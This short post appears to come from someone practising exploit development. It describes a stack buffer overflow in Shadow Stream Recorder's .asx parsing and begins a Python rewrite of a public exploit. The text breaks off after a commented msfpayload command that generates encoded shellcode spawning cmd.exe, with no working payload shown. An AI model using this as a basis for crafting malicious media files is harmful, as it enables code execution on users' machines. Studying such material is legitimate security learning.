Shadow Stream Recorder .asx File Parsing Buffer Overflow

The Shadow Stream Recorder version 3.0.1.7 has a classic stack-based buffer overflow vulnerability. Processing specially-crafted Advanced Stream Redirector (ASX) media files triggered a memory corruption error. This flaw could be exploited to gain arbitrary code execution. The exploit for this vulnerability is a vanilla EIP overwrite and has been first documented at EDB: 11957

Here is a complete rewrite of this exploit (I'm practicing exploit development and as such used EDB11957 as an example):

from struct import *

file = "edb11957.asx"

# msfpayload windows/exec CMD=cmd.exe R | msfencode -b '\x00\x0a\x0d' -t perl
# [*] x86/shikata_ga_nai succeeded with size 226 (iteration=1)
